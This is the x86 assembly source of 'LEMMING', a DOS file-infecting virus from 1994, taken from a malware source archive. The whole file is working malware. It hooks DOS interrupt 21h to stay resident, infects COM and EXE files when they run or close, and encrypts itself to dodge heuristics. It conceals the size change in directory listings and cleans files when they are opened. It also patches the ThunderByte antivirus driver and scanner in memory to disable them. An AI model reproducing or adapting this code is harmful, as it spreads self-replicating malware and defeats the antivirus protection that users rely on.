mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1126 lines
31 KiB
NASM
1126 lines
31 KiB
NASM
.286
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||
.model tiny
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||
.code
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||
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||
virus_size equ vir_end - start
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virus_siz equ virus_size + virus_size
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decrypt_size equ handle - next_function
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data_size equ vir_end - step1
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engine_size equ next_function - start
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Int21_base equ 021h*4
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timer_seg equ 01ch*4+2
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virus_paragraphs equ virus_size * 2/16
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code segment
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assume cs:code,ds:code,es:code
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progr equ 0100h
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org progr
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main:
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start:
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mov cx,decrypt_size
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lea si,next_function
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call ofset
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ofset: pop bp
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sub bp,109h ;Set postion of base pointer
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decrypt:
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xor byte ptr cs:[si][bp],00 ;Anti heuristic decryptor
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key: ;will fool Thunderbyte.
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jcxz next_function
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dec cx
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inc si
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jmp decrypt
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fooled_tbav:
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next_function:
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push es
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push ds
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push cs
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pop ds
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call getcpu ;Detect CPU
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je _8086
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mov ax,0fffeh ;Determine if installed
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int 21h
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cmp bx,0ffffh ;Returns ffff in bx if so...
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test_processor:
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jne install__
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_8086: jmp end_install ;Not 80286 compatible
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transfer:
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call get_int21
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mov di,0100h
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push cs
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pop ds
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lea si,word ptr cs:start[bp]
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mov cx,virus_size
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move:
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rep movsb ;Move virus and make resident
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copied:
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call set_int21 ;Set int 21 to virus
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jmp end_install
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install__ proc near
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push ds es
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call anti_av ;Detect the presence of TBDRIVER
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pop es ds ;and patch
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mov ax,5802h ;are umb's available?
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int 21h
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jc install_low ;no then install in low memory
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mov ax,5803h ;Chain mcb's into low memory
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mov bx,1
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int 21h
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jc install_low
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push es ;get current mcb
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pop dx
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dec dx
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mov di,3 ;add to current mcb to get
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;pointer to next mcb
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walk: mov es,dx
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cmp byte ptr es:[di-3],05ah
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je lastmcb
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add dx,word ptr es:di
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inc dx ;search for last mcb.
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mov es,dx
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cmp byte ptr es:[di-3],05ah
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jne walk
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lastmcb:
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mov ax,5803h ;remove umb link
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xor bx,bx
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int 21h
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cmp word ptr es:[di],virus_paragraphs
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ja hi_install ;Enough memory for UMB install?
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push cs
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pop es
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jmp install_low
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hi_install:
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inc dx
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mov es,dx ;es points to virus new CS
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install_low:
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push es
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xor di,di
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push es ;original psp segment
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pop dx
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dec dx
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mov es,dx
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cmp byte ptr es:[di],5ah
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jne end_install
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mov ax,virus_siz
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mov cl,4
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shr ax,cl
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inc ax
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inc ax
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sub word ptr es:[di+3],ax ;
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mov ax,word ptr es:[di+3] ;copy last mcb size into ax
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pop cx
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add cx,ax ;new segment
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sub cx,10h
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mov word ptr cs:new_seg[bp],cx
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mov es,cx
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jmp transfer ;go and move virus to new
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;memory position
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install__ endp
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end_install:
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pop ds
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pop es
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lea di,word ptr cs:buffer1[bp]
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mov ax,05a4dh
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cmp word ptr cs:[di],ax
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jne goto_com
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mov ax,word ptr cs:[di+16h]
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push es
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pop bx
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add bx,10h
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add ax,bx ;code segment
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mov cx,word ptr cs:[di+0eh] ;get original ss
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mov dx,word ptr cs:[di+10h] ;get original sp
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add cx,bx
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cli
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mov ss,cx ;restore original ss and sp
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mov sp,dx
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sti
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push ax
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mov bx,word ptr cs:[di+14h] ;get original ip
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push bx
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call clear_reg ;clear all registers
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retf ;and hand back control
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goto_com:
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cld
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lea si,buffer1[bp] ;restore com entry point
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mov di,0100h
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mov cx,18h
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rep movsb
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push 0100h
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call clear_reg
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ret ;hand back control
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clear_reg:
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xor ax,ax
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xor bx,bx
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xor cx,cx
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xor dx,dx
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xor si,si
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xor di,di
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xor bp,bp
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ret
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anti_av proc near
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; DISABLE TBDRIVER AGAINST TUNNELING DETECT
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mov ax,5200h
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int 21h ;es:bx
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add bx,22h ;pointer to first device 'NUL'
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;or 'CON'
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next_search:
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cld
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lds si,word ptr es:bx
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cmp si,-1
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je not_found
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push ds cs
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pop es
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lea di,scan[bp]
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push si
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add si,10 ;device name offset
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;from bx pointer
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mov cx,5
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rep cmpsb ;search for device name
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pop bx es
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jne next_search
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found: ;If TBDRIVER is found then
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push ds ;patch against tunneling
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pop es
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push cs
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pop ds
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mov di,bx
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xor ax,ax
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lea si,scan_string[bp]
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next_char:
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inc ax
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mov cx,5
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push si
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rep cmpsb ;search for string
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pop si
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je bullseye
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cmp ax,10116
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je not_found
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jmp next_char
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bullseye:
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mov es:[di-12],09090h ;disable tbdriver
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not_found:
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ret
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scan db 'TBDRV'
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scan_string db 0fah,09ch,0fch,053h,050h
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anti_av endp
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VirName db 0dh,0ah,'The Rise and Fall of ThunderByte-1994-Australia.',0dh,0ah
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db ' You Will Never Trust Anti-Virus Software Again!! ',0dh,0ah
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db '[LEMMING] ver .99<EFBFBD>'
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Anti_tbscan proc near
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push es ds si di ax bx cx dx
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push bx
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lea si,Tbscan
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lea bx,tbscan_size
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mov byte ptr cs:no_scasb_flag,0
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call tbscan_test ;Is Tbscan being executed?
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pop bx
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jnc not_tbscan
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push cs
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pop ds
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call hook_int1c ;
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les di, dword ptr es:bx+2
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push di
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xor bx,bx
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mov bl, byte ptr es:[di]
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add di,bx ;di now points to end of C/T
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lea si,tbscan_switch
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cld
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movsw
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movsw
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pop di
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add byte ptr es:[di],3
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not_tbscan:
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pop dx cx bx ax di si ds es
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ret
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tbscan_size db 0,6,6,0
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tbscan_switch db 20h,'c','o',0dh ;adding ' co' to command line
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;forces tbscan into Compat
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;mode
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Anti_tbscan endp
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get_int21 proc near
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push es
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push ds
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xor bx,bx
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mov ds,bx
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mov bx,word ptr ds:[84h]
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mov es,word ptr ds:[86h]
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pop ds
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mov word ptr cs:int_21_off[bp],bx ;save vector for later calls
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mov word ptr cs:int_21_seg[bp], es
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mov word ptr cs:int_21_off_o[bp],bx
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mov word ptr cs:int_21_seg_o[bp],es
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call int_trace
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pop es
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ret
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get_int21 endp
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set_int21 proc near
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push es
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xor ax,ax
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mov ds,ax
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lea ax,word ptr cs:int_21
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mov bx,word ptr cs:new_seg[bp]
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cli
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mov ds:[134],bx
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mov ds:[132],ax
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sti
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pop es
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ret
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set_int21 endp
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identify proc near
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;on entry, ds:dx points to asciiz file to be run.
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;bx must point to file size table. EOT must be '0'
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;si must point to table of strings to compare.
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;direction_flag==0 for before '. e.g lemming.com' and 1 for after.
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push ds ;pointers to asciiz
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push dx
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mov cx,00ffh
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mov al,'.'
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push ds
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pop es
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push dx
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pop di
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cmp byte ptr cs:no_scasb_flag,1
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je no_scasb
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cld
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repne scasb
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no_scasb:
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xor ax,ax ;load index position (0).
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xor cx,cx
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push cs
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pop ds
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next_byte:
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inc al
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push ax
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push di ;save position
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push si
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xlat
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or al,al ;end of index?
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jz no_match ;yes?
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cmp byte ptr cs:direction_flag,1
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je right
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sub di,8 ;back up to begining of name
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cmp byte ptr cs:no_scasb_flag,1
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je right
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add di,8
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sub di,ax
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dec di
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right: mov cl,al ;bytes to count...
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rep cmpsb
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je match_found
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pop si
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add si,ax ;if not equal, next field
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pop di
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pop ax
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jmp next_byte
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match_found:
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clc
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jmp clear
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no_match: stc
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clear: pop ax
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pop ax
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pop ax
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pop dx
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pop ds
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ret
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direction_flag db 0
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no_scasb_flag db 0
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identify endp
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do_not_infect proc near ;Table of files not to infect
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start_:
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AVSize db 4,4,6,3,5,5,0
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AVName :db 'TBAV'
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TBSCAN: db 'TBSCAN'
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db 'NAV'
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db 'VSAFE'
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db 'FPROT'
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do_not_infect endp
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is_file_infectable proc near
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extension_size db 4,3,3,3,3,0 ;Table of extensions to infect
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extension: db 'COM'
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db 'com'
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db 'EXE'
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db 'exe'
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stop_:
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is_file_infectable endp
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stealth_a proc near ;Appears to be the same DIR
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pushf ;stealth routines from NPOX
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push cs
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call skip_infect
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test al,al
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jnz no
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push ax
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push bx
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push es
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mov ah,51h
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int 21h
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mov es,bx
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cmp bx,es:[16h]
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jnz not_
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mov bx,dx
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mov al,[bx]
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push ax
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mov ah,2fh
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int 21h
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pop ax
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inc al
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jnz fcb_ok
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add bx,7h
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fcb_ok: mov ax,es:[bx+17h]
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and ax,01eh
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xor al,01eh
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jnz not_
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and byte ptr es:[bx+17h],0e0h
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sub word ptr es:[bx+1dh],virus_size
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sbb word ptr es:[bx+1fh],0
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not_: pop es
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pop bx
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pop ax
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no: iret
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stealth_a endp
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||
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search_flag_b:
|
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mov byte ptr cs:trace_flag,0 ;re-use to save memory
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jmp dta_out
|
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stealth_b proc near
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pushf
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push cs
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call skip_infect
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jc search_flag_b
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mov byte ptr cs:trace_flag,1
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push ax
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push bx
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push es
|
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mov ah,2fh
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int 21h
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mov ax,es:[bx+16h]
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mov cx,es:[bx+18h]
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and ax,1eh
|
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xor ax,1eh
|
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jnz dta_out1
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sub word ptr es:[bx+1ah],virus_size
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sbb word ptr es:[bx+1ch],0
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dta_out1: pop es
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||
pop bx
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pop ax
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dta_out: retf 0002h
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stealth_b endp
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stealth: jmp stealth_a
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||
critical_error_handler:
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mov al,03h
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||
iret
|
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|
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int_21 proc near
|
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cmp ah,011h
|
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je stealth
|
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cmp ah,012h
|
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je stealth
|
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cmp ah,04eh
|
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je stealth_b
|
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cmp ah,04fh
|
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je stealth_b
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cmp ah,04bh
|
||
je file_infect_step
|
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cmp ah,06ch
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je disinfect_step
|
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cmp ah,03dh
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je disinfect_step
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cmp ah,03eh
|
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je file_infect
|
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cmp ah,04ch
|
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je program_terminate_step
|
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cmp ax,0fffeh ;test if active in memory
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jne direct
|
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mov bx,0ffffh
|
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iret
|
||
|
||
direct: jmp dword ptr cs:int_21_off
|
||
|
||
program_terminate_step:
|
||
call program_terminate
|
||
jmp direct
|
||
|
||
disinfect_step: jmp disinfect
|
||
|
||
file_infect_step:
|
||
call anti_tbscan
|
||
jmp file_infect
|
||
int_21 endp
|
||
|
||
|
||
|
||
get_filename_from_handle proc near
|
||
|
||
push bx
|
||
mov ax,1220h
|
||
int 2fh
|
||
mov ax,1216h
|
||
mov bl,es:[di]
|
||
int 2fh
|
||
pop bx
|
||
add di,11h
|
||
mov byte ptr es:[di-0fh],02
|
||
add di,17h
|
||
push di
|
||
pop dx
|
||
push es
|
||
pop ds
|
||
ret
|
||
get_filename_from_handle endp
|
||
|
||
infect_OK proc near
|
||
|
||
lea bx,extension_size
|
||
lea si,extension ;Test for EXE,COM,OVL
|
||
mov byte ptr cs:direction_flag,1
|
||
call identify
|
||
jc error ;if not exe then error
|
||
|
||
lea bx,avsize
|
||
lea si,avname ;Test for AV
|
||
tbscan_test:
|
||
mov byte ptr cs:direction_flag,0
|
||
call identify
|
||
jnc error ;If no AV then good!
|
||
|
||
no_error:
|
||
clc
|
||
ret
|
||
|
||
error: stc
|
||
ret
|
||
|
||
infect_ok endp
|
||
|
||
no_good:
|
||
jmp exe
|
||
|
||
file_infect proc
|
||
cmp bl,4
|
||
ja handle_ok
|
||
cmp ah,4bh ;determine if file open or
|
||
je handle_ok ;file execute
|
||
jmp skip_infect
|
||
handle_ok:
|
||
push ax
|
||
push bx
|
||
push es
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push di
|
||
push si
|
||
|
||
call set_critical_error_handler
|
||
cmp ah,4bh
|
||
jne only_handle_supplied
|
||
|
||
call open_file ;open file if call = ah=4b
|
||
jc no_good
|
||
cmp bl,5
|
||
jb no_good
|
||
mov byte ptr cs:execute_flag,1
|
||
|
||
push bx
|
||
mov byte ptr cs:no_scasb_flag,0
|
||
call infect_ok
|
||
pop bx
|
||
jnc skip_flag_check
|
||
jmp dont_infect_here
|
||
|
||
only_handle_supplied:
|
||
|
||
mov byte ptr cs:execute_flag,0 ;if flag ==1 then close
|
||
call get_filename_from_handle
|
||
|
||
|
||
push bx
|
||
mov byte ptr cs:no_scasb_flag,1
|
||
call infect_ok
|
||
pop bx
|
||
|
||
jnc good
|
||
jmp dont_infect_here
|
||
|
||
skip_flag_check:
|
||
|
||
good: call get_date
|
||
push dx
|
||
push cx
|
||
mov word ptr cs:old_date,dx
|
||
mov word ptr cs:old_time,cx
|
||
call is_file_infected
|
||
jc do_it
|
||
jmp loc_15
|
||
|
||
do_it: call set_offset_start
|
||
push cs
|
||
pop ds
|
||
lea dx,buffer
|
||
mov cx,18h
|
||
call read_file
|
||
push cx
|
||
|
||
cld
|
||
push cs
|
||
pop es
|
||
lea si,buffer
|
||
lea di,buffer1
|
||
mov cx,18h
|
||
rep movsb ;Save header for stealth
|
||
pop cx ;disinfect on open
|
||
cmp word ptr cs:[buffer1+0ch],1 ;Dont infect if number of
|
||
jb exe ;paragraps required after load
|
||
xor dx,dx ;is less than 1
|
||
call set_offset_e
|
||
cmp dx,0
|
||
ja big_enough
|
||
cmp ax,0fff0h-virus_siz
|
||
ja exe
|
||
|
||
big_enough:
|
||
cmp dx,4
|
||
ja exe
|
||
cmp byte ptr ds:[buffer],4Dh ; 'M' ; is file exe?
|
||
je file_is_exe ; Jump if equal;
|
||
jmp file_is_com
|
||
exe:
|
||
jmp loc_15
|
||
|
||
file_is_exe: ;Recalculate new EXE Header
|
||
push bx
|
||
mov cl,4
|
||
mov bx,word ptr [buffer+8]
|
||
shl bx,cl
|
||
push dx ax
|
||
sub ax,bx
|
||
sbb dx,0
|
||
mov bx,10h
|
||
div bx
|
||
mov word ptr [buffer+14h],dx
|
||
mov word ptr [buffer+16h],ax
|
||
add ax,virus_size/16
|
||
mov word ptr [buffer+0eh],ax
|
||
pop ax dx
|
||
add ax,virus_size
|
||
adc dx,0
|
||
mov bx,512
|
||
div bx
|
||
pop bx
|
||
inc ax
|
||
mov word ptr [buffer+4],ax
|
||
mov word ptr [buffer+2],dx
|
||
mov cx,18h
|
||
lea dx,buffer
|
||
push dx
|
||
push cx
|
||
jmp short loc_14
|
||
|
||
File_Is_Com:
|
||
sub ax,3
|
||
mov word ptr cs:[com_header_offset],ax
|
||
mov cx,3 ;header size in bytes
|
||
lea dx,com_header
|
||
push dx
|
||
push cx
|
||
loc_14:
|
||
|
||
call write_virus ;write and encrypt virus
|
||
call set_offset_start
|
||
pop cx
|
||
pop dx
|
||
call write_bytes
|
||
pop cx
|
||
or cl,01eh
|
||
push cx
|
||
|
||
loc_15:
|
||
pop cx
|
||
pop dx
|
||
call write_date
|
||
|
||
dont_infect_here:
|
||
cmp byte ptr cs:execute_flag,1
|
||
jne dont_close
|
||
mov ah,3eh
|
||
call dos
|
||
dont_close:
|
||
call restore_critical_error_handler
|
||
pop si
|
||
pop di
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop es
|
||
pop bx
|
||
pop ax
|
||
|
||
skip_infect:
|
||
jmp dword ptr cs:int_21_off
|
||
|
||
execute_flag db 0
|
||
|
||
file_infect endp
|
||
|
||
disinfect proc near
|
||
pusha
|
||
push ds es
|
||
cmp ah,06ch ;adjust ds:si to ds:dx if
|
||
jne not_extended ;ah == extended file open(6c)
|
||
push si
|
||
pop dx
|
||
not_extended:
|
||
mov byte ptr cs:no_scasb_flag,0
|
||
call infect_ok
|
||
jc skip_disinfect
|
||
call set_critical_error_handler
|
||
call open_file
|
||
jc skip_disinfect ;Skip disinfection on error
|
||
push cs
|
||
pop ds
|
||
|
||
call get_date ;Get file date
|
||
call is_file_infected ;Is the seconds field 60?
|
||
jne dont_disinfect ;If not, then quit
|
||
xor dx,dx
|
||
call set_offset_e ;get infected file size
|
||
push dx ;save
|
||
push ax
|
||
sub ax,1ch ;sub buffer size from end
|
||
sbb dx,0
|
||
mov cx,dx ;set new pointer to buffer
|
||
mov dx,ax
|
||
call no_xor
|
||
lea dx,old_date
|
||
mov cx,1ch ;buffer = 18h + 4 for date = 1c
|
||
call read_file ;read into buffer
|
||
call set_offset_start ;Restore original header
|
||
mov cx,18h
|
||
lea dx,buffer1
|
||
call write_bytes ;write at start
|
||
pop dx
|
||
pop cx
|
||
sub dx,virus_size
|
||
sbb cx,0
|
||
call no_xor ;set offset from start
|
||
mov ah,40h
|
||
xor cx,cx
|
||
call dos ;truncate
|
||
mov cx,old_time
|
||
mov dx,old_date
|
||
call write_date ;Restore original date and time
|
||
cmp trace_flag,0
|
||
je dont_disinfect
|
||
call reset_dta ;Adjust seconds field in DTA
|
||
dont_disinfect:
|
||
mov ah,3eh ;Close file
|
||
call dos
|
||
call restore_critical_error_handler
|
||
skip_disinfect:
|
||
pop es ds
|
||
popa
|
||
jmp dword ptr cs:int_21_off
|
||
|
||
disinfect endp
|
||
|
||
reset_dta proc near
|
||
push ax bx es
|
||
mov ah,2fh ;Get current DTA
|
||
call dos ;DTA pointed to by es:bx
|
||
mov ax,word ptr cs:old_time ;Get old time and
|
||
mov word ptr es:[bx+16h],ax ;save in DTA
|
||
pop es bx ax
|
||
ret
|
||
reset_dta endp
|
||
|
||
get_date proc near
|
||
mov ax,5700h
|
||
call dos
|
||
ret
|
||
get_date endp
|
||
|
||
write_date proc near
|
||
mov ax,5701h
|
||
call dos
|
||
ret
|
||
write_date endp
|
||
|
||
is_file_infected proc near
|
||
and cl,01eh ;Unmask seconds
|
||
cmp cl,01eh
|
||
ret
|
||
is_file_infected endp
|
||
|
||
com_header proc
|
||
db 0e9h ;JMP
|
||
com_header_offset dw 0000
|
||
com_header endp
|
||
|
||
|
||
set_offset_start proc
|
||
xor cx,cx
|
||
xor dx,dx
|
||
no_xor: mov ax,4200h
|
||
call dos
|
||
ret
|
||
|
||
set_offset_e:
|
||
xor cx,cx
|
||
mov ax,4202h
|
||
call dos
|
||
ret
|
||
read_file:
|
||
mov ah,3fh
|
||
call dos
|
||
ret
|
||
write_bytes:
|
||
mov ah,40h
|
||
call dos
|
||
ret
|
||
|
||
write_virus:
|
||
xor ax,ax
|
||
out 70h,al
|
||
in ax,70h ;Get seconds from computer
|
||
cmp ah,0 ;If seconds = 0 then
|
||
jne dont_mask ;set to 12
|
||
mov ah,12
|
||
|
||
dont_mask:
|
||
cmp ah,21h ;???
|
||
jne dont_mask1
|
||
mov ah,15h
|
||
|
||
dont_mask1:
|
||
mov byte ptr cs:key-1,ah ;Save key in virus decryptor
|
||
lea si,start ;move to preallocated memory for
|
||
lea di,vir_end ;encryption
|
||
inc di
|
||
mov cx,virus_size
|
||
cld
|
||
rep movsb ;Copy uninfected verson to
|
||
;encryption area
|
||
mov cx,decrypt_size
|
||
lea si,vir_end ;load si with virus and address
|
||
inc si ;inc to virus image to encrypt
|
||
add si,engine_size ;add 16h bytes so as not to
|
||
encrypt: ;encrypt virus engine
|
||
xor [si],ah
|
||
inc si
|
||
loop encrypt ;Encrypt
|
||
|
||
mov ah,40h
|
||
mov cx,virus_size
|
||
lea dx,vir_end
|
||
inc dx
|
||
call dos
|
||
ret
|
||
set_offset_start endp
|
||
|
||
dos proc near
|
||
Pushf ;Save flags for DOS IRET
|
||
call dword ptr cs:int_21_off_o ;original dos entry
|
||
ret
|
||
dos endp
|
||
|
||
open_file proc near
|
||
push ax
|
||
mov ax,3d02h
|
||
call dos
|
||
push ax
|
||
pop bx ax ;Put handle into BX
|
||
ret
|
||
open_file endp
|
||
|
||
set_critical_error_handler proc near
|
||
push ax bx dx es ds
|
||
push cs
|
||
pop ds
|
||
mov ax,3524h
|
||
call dos
|
||
mov critical_error_seg,es
|
||
mov critical_error_off,bx
|
||
lea dx,critical_error_handler
|
||
mov ax,2524h
|
||
call dos
|
||
pop ds es dx bx ax
|
||
ret
|
||
set_critical_error_handler endp
|
||
|
||
critical_error_off dw ?
|
||
critical_error_seg dw ?
|
||
|
||
restore_critical_error_handler proc near
|
||
mov ax,2524h
|
||
lds dx,dword ptr cs:critical_error_off
|
||
call dos
|
||
ret
|
||
restore_critical_error_handler endp
|
||
|
||
|
||
int_trace proc near
|
||
mov ax,3501h ;get trace interrupt
|
||
int 21h
|
||
mov di,es ;save seg and offset in di, si
|
||
mov si,bx
|
||
|
||
mov ax,2501h
|
||
lea dx,word ptr cs:int_01[bp] ;point trace to our segment
|
||
int 21h
|
||
pushf
|
||
push cs
|
||
lea ax,word ptr cs:exit_trace[bp] ;set up for after trace
|
||
push ax
|
||
|
||
cli
|
||
pushf
|
||
pop ax
|
||
or ax,100h ;switch trace flag on
|
||
push ax ;save flags
|
||
|
||
mov ax,word ptr cs:int_21_seg[bp]
|
||
push ax ;save seg
|
||
mov ax,word ptr cs:int_21_off[bp]
|
||
push ax ;save offset
|
||
mov ax,351ch ;get INT 1c address
|
||
mov byte ptr cs:trace_flag[bp],1
|
||
mov bx,bp
|
||
iret
|
||
exit_trace:
|
||
mov byte ptr cs:trace_flag[bp],0 ;turn of our trace flag
|
||
sti ;restore interrupts
|
||
mov ax,2501h ;restore original INT 01
|
||
mov dx,si ;Vectors
|
||
mov ds,di
|
||
int 21h
|
||
ret ;Done
|
||
int_01:
|
||
push bp
|
||
mov bx,bp
|
||
mov bp,sp
|
||
cmp byte ptr cs:trace_flag[bx],1
|
||
je tunnel_dos
|
||
tunnel:
|
||
and word ptr [bp+6],0feffh
|
||
mov byte ptr cs:trace_flag[bx],0
|
||
pop bp
|
||
iret
|
||
tunnel_dos:
|
||
cmp word ptr [bp+4],300h ;Are we in the DOS SEG?
|
||
jb save_vector
|
||
pop bp
|
||
iret
|
||
|
||
save_vector:
|
||
push cx
|
||
mov cx,[bp+2]
|
||
mov cs:int_21_off_o[bx],cx ;Delta offsets are used
|
||
mov cx,[bp+4]
|
||
mov cs:int_21_seg_o[bx],cx
|
||
pop cx
|
||
jmp tunnel
|
||
|
||
int_trace endp
|
||
|
||
program_terminate proc near
|
||
cmp byte ptr cs:tbexecute_flag,0
|
||
je tbscan_exit
|
||
mov byte ptr cs:tbexecute_flag,0 ;Turn off tbscan execute
|
||
mov byte ptr cs:done_flag,0 ;flag
|
||
call unhook_1c ;Restore int 1C
|
||
tbscan_exit:
|
||
ret
|
||
program_terminate endp
|
||
|
||
hook_int1c proc near
|
||
pusha
|
||
push es ds
|
||
mov ax,0351ch
|
||
call dos
|
||
mov int_1c_off,bx
|
||
mov bx,es
|
||
mov int_1c_seg,bx
|
||
lea dx,int1c
|
||
mov ah,025h
|
||
call dos
|
||
mov tbexecute_flag,1
|
||
pop ds es
|
||
popa
|
||
ret
|
||
hook_int1c endp
|
||
|
||
int1c proc near
|
||
cmp byte ptr cs:done_flag,1
|
||
je exit_1c
|
||
cmp byte ptr cs:tbexecute_flag,1
|
||
jne exit_1c
|
||
call convert_tbscan ;Patch TBSCAN with 'OWN'
|
||
exit_1c:
|
||
jmp dword ptr cs:int_1c_off
|
||
int1c endp
|
||
|
||
unhook_1c proc near
|
||
pusha
|
||
push es ds cs
|
||
pop ax ;ax= code seg
|
||
xor bx,bx
|
||
mov es,bx ;es= 0000h
|
||
push es
|
||
mov bx,word ptr es:timer_seg
|
||
mov es,bx
|
||
cmp bx,ax
|
||
jne dont_unhook
|
||
mov ax,word ptr cs:int_1c_seg
|
||
mov bx,word ptr cs:int_1c_off
|
||
pop es
|
||
cli
|
||
mov word ptr es:timer_seg,ax
|
||
mov word ptr es:timer_seg-2,bx
|
||
sti
|
||
dont_unhook:
|
||
pop ds es
|
||
popa
|
||
ret
|
||
unhook_1c endp
|
||
|
||
convert_tbscan proc near
|
||
pusha
|
||
push es ds cs
|
||
pop ax
|
||
xor bx,bx
|
||
mov es,bx
|
||
mov bx,word ptr es:timer_seg ;Trace through INT 1c which is
|
||
mov di,word ptr es:timer_seg-2 ;hooked by TBSCAN
|
||
mov es,bx
|
||
cmp bx,ax
|
||
je exit_convert
|
||
xor ax,ax
|
||
lea si,replace
|
||
push cs
|
||
pop ds
|
||
next_char2:
|
||
inc ax
|
||
mov cx,8
|
||
push si
|
||
rep cmpsb ;search for string 'DOS','OWN'
|
||
pop si ;within TBSCAN while it is in
|
||
je found_dos ;memory doing it's thing.
|
||
cmp ax,0fffeh
|
||
je exit_convert
|
||
jmp next_char2
|
||
|
||
found_DOS:
|
||
push es
|
||
pop ds
|
||
sub di,8
|
||
mov si,di
|
||
add si,4
|
||
mov cx,3
|
||
rep movsb
|
||
mov byte ptr cs:done_flag,1
|
||
exit_convert:
|
||
pop ds es
|
||
popa
|
||
ret
|
||
|
||
; Search Data
|
||
replace db 'DOS',0,'OWN',0
|
||
done_flag db 0
|
||
convert_tbscan endp
|
||
|
||
Getcpu proc near ;Test CPU Type
|
||
Pushf
|
||
Pop AX
|
||
Push AX
|
||
And AX,0FFFh
|
||
Push AX
|
||
Popf
|
||
Pushf
|
||
Pop AX
|
||
pop BX
|
||
And AX,0F000h
|
||
Cmp AX,0F000h
|
||
ret
|
||
getcpu endp
|
||
|
||
|
||
HANDLE:
|
||
|
||
step1:
|
||
data proc near
|
||
db '=!Packed file is corrupt<70>'
|
||
buffer db 17h dup(?) ;Modified EXE and Com header
|
||
db 90h
|
||
tbexecute_flag db 0
|
||
trace_flag db ? ;Used for tunneling
|
||
int_01_off dw ?
|
||
int_01_seg dw ?
|
||
int_1c_off dw ?
|
||
int_1c_seg dw ?
|
||
int_21_off_o dw ? ;Original INT 21
|
||
int_21_seg_o dw ?
|
||
int_21_off dw ? ;Chained INT 21
|
||
int_21_seg dw ?
|
||
new_seg dw ?
|
||
old_date dw ?
|
||
old_time dw ?
|
||
buffer1 db 90h ;Original file header for
|
||
mov ax,4c00h ;Com and Exe files
|
||
int 21h
|
||
db 11h dup(?)
|
||
db 90h
|
||
|
||
data endp
|
||
|
||
vir_end:
|
||
code ends
|
||
end main
|